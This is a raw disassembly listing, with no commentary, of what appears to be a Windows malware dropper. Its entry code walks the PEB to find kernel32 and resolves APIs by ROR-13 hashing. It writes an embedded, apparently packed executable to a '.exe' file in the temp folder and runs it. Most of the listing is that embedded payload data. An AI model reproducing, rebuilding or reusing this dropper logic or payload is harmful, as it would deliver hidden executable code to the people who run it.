		dd 4E054DD4h, 19086A66h, 1EAD6C71h, 526DE53Ch, 0C370D29Dh
		dd 86C5B0A1h, 0FCF50FA4h, 0E7D8BA31h, 0D15018C6h, 0E6E55CB9h
		dd 6D59D84h, 69B89AD6h,	4E1DE4C1h, 23D35ECh, 7320024Dh
		dd 36B41469h, 5CA5CD54h, 3088EAE1h, 0F410B7BBh,	0F3FB9AFCh
		dd 0CEB03F82h, 468049ACh, 0E3E00224h, 0DBD97BF6h, 0AE90DABFh
		dd 0E7479AD4h, 0DED5CA81h, 0D5F8DF7Ch, 7E4F1A77h, 2EAD8B63h
		dd 0BDA082F1h, 0DC182A61h, 88CC7D4h, 0EA2C56CDh, 4DF5D3A8h
		dd 293CF25Ch, 4B056D4Bh, 3915AAC4h, 0C1B26A5Bh,	98B905E3h
		dd 78285F6Bh, 8370F838h, 7E406284h, 69477F14h, 8509278Bh
		dd 0B98EEA8h, 0BE0CECD1h, 7EC831DCh, 0E82AB332h, 30ADD9CEh
		dd 2100222Ch, 3CBC11BCh, 31A04034h, 642D239h, 0B6248124h
		dd 904441Dh, 0ADA5AE2Bh, 0CE4CAC0Fh, 613F1F49h,	0E9C72594h
		dd 3673B30Bh, 6284A43h,	7EA0D20Ch, 0F638F85Ch, 6E90826Ch
		dd 0E60BC24Ch, 7A42A2C4h, 0F2AC973Ch, 0CD5E5FB8h, 0DF940AD4h
		dd 3E606AC4h, 0E253FA1Ch, 0A50D42B0h, 0C8256B16h, 0F64022ADh
		dd 6947351Dh, 0E349015h, 119Fh dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc far
		push	offset dword_3150B000
		call	sub_3151102C
		retf	835Dh
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7Ch,	0FFh, 8
		dd 136D7C86h, 19827C86h, 8AE77C82h, 4E647C83h, 65A57C83h
		dd 7C83h, 7E0000h

; =============== S U B	R O U T	I N E =======================================



sub_3151102C	proc near		; CODE XREF: start+5p
		call	sub_315110B9
		pop	eax
		pusha
		lea	ebp, [eax-0Ah]
		call	sub_315110A4
		sub	esp, 400h
		mov	esi, esp
		push	esi
		push	200h
		call	dword ptr [ebp+0Ah]
		push	esi
		push	0
		lea	eax, [ebp+2Ah]
		push	eax
		push	esi
		call	dword ptr [ebp+0Eh]
		mov	edi, esi
		xor	eax, eax
		mov	cl, 0FFh
		repne scasb
		mov	dword ptr [edi-1], 6578652Eh
		mov	[edi+3], al
		push	1001h
		lea	eax, [esi+200h]
		mov	byte ptr [eax],	87h
		push	eax
		push	esi
		call	dword ptr [ebp+16h]
		mov	edi, eax
		push	dword ptr [ebp+131h]
		lea	eax, [ebp+135h]
		push	eax
		push	edi
		call	dword ptr [ebp+1Ah]
		push	edi
		call	dword ptr [ebp+1Eh]
		push	0
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
sub_3151102C	endp


; =============== S U B	R O U T	I N E =======================================



sub_315110A4	proc near		; CODE XREF: sub_3151102C+Ap
		pusha
		mov	edi, eax


loc_315110A7:				; CODE XREF: sub_315110A4+11j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_315110B7
		push	ebx
		push	eax
		call	sub_315110DD
		stosd
		jmp	short loc_315110A7
; ---------------------------------------------------------------------------


loc_315110B7:				; CODE XREF: sub_315110A4+7j
		popa
		retn
sub_315110A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_315110B9	proc near		; CODE XREF: sub_3151102Cp
		push	ebp
		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_315110D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_315110D9
; ---------------------------------------------------------------------------


loc_315110D0:				; CODE XREF: sub_315110B9+9j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]


loc_315110D9:				; CODE XREF: sub_315110B9+15j
		mov	ebx, ebp
		pop	ebp
		retn
sub_315110B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_315110DD	proc near		; CODE XREF: sub_315110A4+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_315110F3:				; CODE XREF: sub_315110DD+33j
		jecxz	short loc_31511127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_315110FE:				; CODE XREF: sub_315110DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_3151110C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_315110FE
; ---------------------------------------------------------------------------


loc_3151110C:				; CODE XREF: sub_315110DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_315110F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_31511129
; ---------------------------------------------------------------------------


loc_31511127:				; CODE XREF: sub_315110DD:loc_315110F3j
		xor	eax, eax


loc_31511129:				; CODE XREF: sub_315110DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_315110DD	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0C4h
		dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 0
		dd 20202000h, 20h, 5 dup(0)
		dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh
		dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh
		dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh
		dd 3 dup(0)
		dd 455000h, 3014C00h, 1E138600h, 43h, 0
		dd 0F00E000h, 7010B01h,	0Ah, 0A60000h, 4C0000h,	1140000h
		dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0
		dd 400h, 0
		dd 1800000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 600800h, 2800h, 14h dup(0)
		dd 600000h, 800h, 6 dup(0)
		dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0)
		dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h
		dd 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 1040000h, 700000h, 0BE0000h
		dd 60000h, 3 dup(0)
		dd 4006000h, 0E0h, 71h dup(0)
		dd 603800h, 0
		dd 603000h, 2 dup(0)
		dd 604600h, 600000h, 5 dup(0)
		dd 603800h, 0
		dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h
		dd 2E32334Ch, 6C6C64h, 6Bh dup(0)
		dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h,	8F16940Fh
		dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh
		dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h,	0E59023CFh
		dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h,	71B4BBFCh
		dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh
		dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h
		dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh
		dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh
		dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h
		dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh
		dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh,	2DF562Ah
		dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh
		dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h
		dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h
		dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h
		dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h
		dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h
		dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh
		dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh
		dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch,	391886ADh
		dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch,	0CAA76428h
		dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h,	3CF0E329h
		dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh
		dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh
		dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h
		dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh
		dd 4E81D278h, 6D5AE12h,	0A43F28E6h, 4FD17C16h, 3FE4FF1Dh
		dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h
		dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h
		dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch,	9F6831F9h
		dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah
		dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h,	450ED79Eh
		dd 25EEB778h, 2CA935Ch,	0E0A9723Bh, 0CC955E17h,	0B8814A13h
		dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h
		dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h,	0C8915A23h
		dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh
		dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h
		dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h
		dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh
		dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h
		dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h
		dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h
		dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh
		dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h
		dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh
		dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h
		dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh
		dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h
		dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h,	9A318155h
		dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh
		dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h
		dd 8B6BE152h, 8F86822h,	0E3432397h, 0CC0A8373h,	9D2DEF64h
		dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh
		dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h
		dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch
		dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h,	6525DF70h
		dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah
		dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h
		dd 27F0B982h, 3CC955Eh,	0DFA8713Ah, 0BB844D16h,	976029F2h
		dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh
		dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh,	2FF8C18Ah
		dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h
		dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h,	0C7905922h
		dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h,	13DCA56Eh
		dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh
		dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h
		dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h,	0A41DE42Eh
		dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h
		dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh,	408148D0h
		dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh
		dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h,	0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h
		dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h
		dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh
		dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh
		dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h
		dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h
		dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h
		dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh
		dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h,	68ECB578h
		dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h
		dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h,	8EA66FA0h
		dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh
		dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh,	43DE58DFh
		dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh
		dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh
		dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h,	0BD854CD4h
		dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h
		dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h
		dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah,	0DBA46D36h
		dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh
		dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh,	0EA1DA532h
		dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh,	0A77039E1h
		dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h,	7B49D9EEh
		dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh,	8A132BB9h
		dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h
		dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h
		dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h,	1034B688h
		dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h,	7A20C20Ah
		dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h
		dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h
		dd 22586805h, 0C3E1C0ECh
		dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h
		dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch,	763FFB41h
		dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h,	534206Bh
		dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah
		dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h,	0D952DBB4h
		dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh
		dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h
		dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h,	0C8BA0785h
		dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh
		dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah
		dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh,	0E425875h
		dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah,	0C92A0E7Dh
		dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh
		dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h
		dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh
		dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h,	0C105A0D6h
		dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h
		dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h
		dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h,	38478B09h
		dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h,	6EA22AB6h
		dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh
		dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h
		dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h
		dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh
		dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah
		dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh
		dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h,	343CE222h
		dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h,	801FB05h
		dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh
		dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h
		dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h,	28E8B2ABh
		dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h,	9A034140h
		dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh,	106CAAB0h
		dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h
		dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh
		dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h
		dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh,	0B10C6376h
		dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh,	0C17CC118h
		dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh
		dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h
		dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h
		dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h,	12B8C79h
		dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h,	807F4889h
		dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch,	177AB6EEh
		dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h
		dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h
		dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh
		dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh,	0BAC6C21h
		dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h
		dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h
		dd 828192h, 0BE6CA294h,	0E9104573h, 359ABFC3h, 6150779Ah
		dd 80B02E1h, 531076B7h,	5B694A0h, 4387BDEFh, 3BC60A35h
		dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch
		dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh
		dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h
		dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh,	2C8EFDBFh
		dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh,	1496EDE3h
		dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh
		dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h,	0BD1D1D57h
		dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h
		dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh,	26BF236Ah
		dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h
		dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h
		dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh,	7AF823B7h
		dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h
		dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h
		dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h
		dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh,	0EC36B288h
		dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h
		dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch
		dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h
		dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h,	7EEA3446h
		dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h
		dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h,	5C75C62Bh
		dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh,	15FF87C4h
		dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh
		dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h,	3A707069h
		dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh
		dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h
		dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h
		dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh,	0FD6133D5h
		dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h
		dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h
		dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh
		dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h
		dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h,	0A999A3D1h
		dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh
		dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h,	5A903438h
		dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch
		dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h
		dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh
		dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h
		dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h
		dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h
		dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh
		dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h
		dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh
		dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h,	2A926DE5h
		dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h
		dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h
		dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh
		dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h
		dd 1CE241D0h, 0D610774Eh
		dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h,	8837A837h
		dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h,	338F18D7h
		dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h
		dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h
		dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh
		dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h,	673ADCB8h
		dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh
		dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h
		dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h,	0FF14D9E8h
		dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh,	0C625A20Ch
		dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh
		dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h,	219551A4h
		dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h,	1046B567h
		dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h
		dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch,	6356DCADh
		dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h
		dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h,	0FD733FB5h
		dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h
		dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh
		dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh
		dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h
		dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh
		dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h,	0DE52A49Bh
		dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh
		dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh
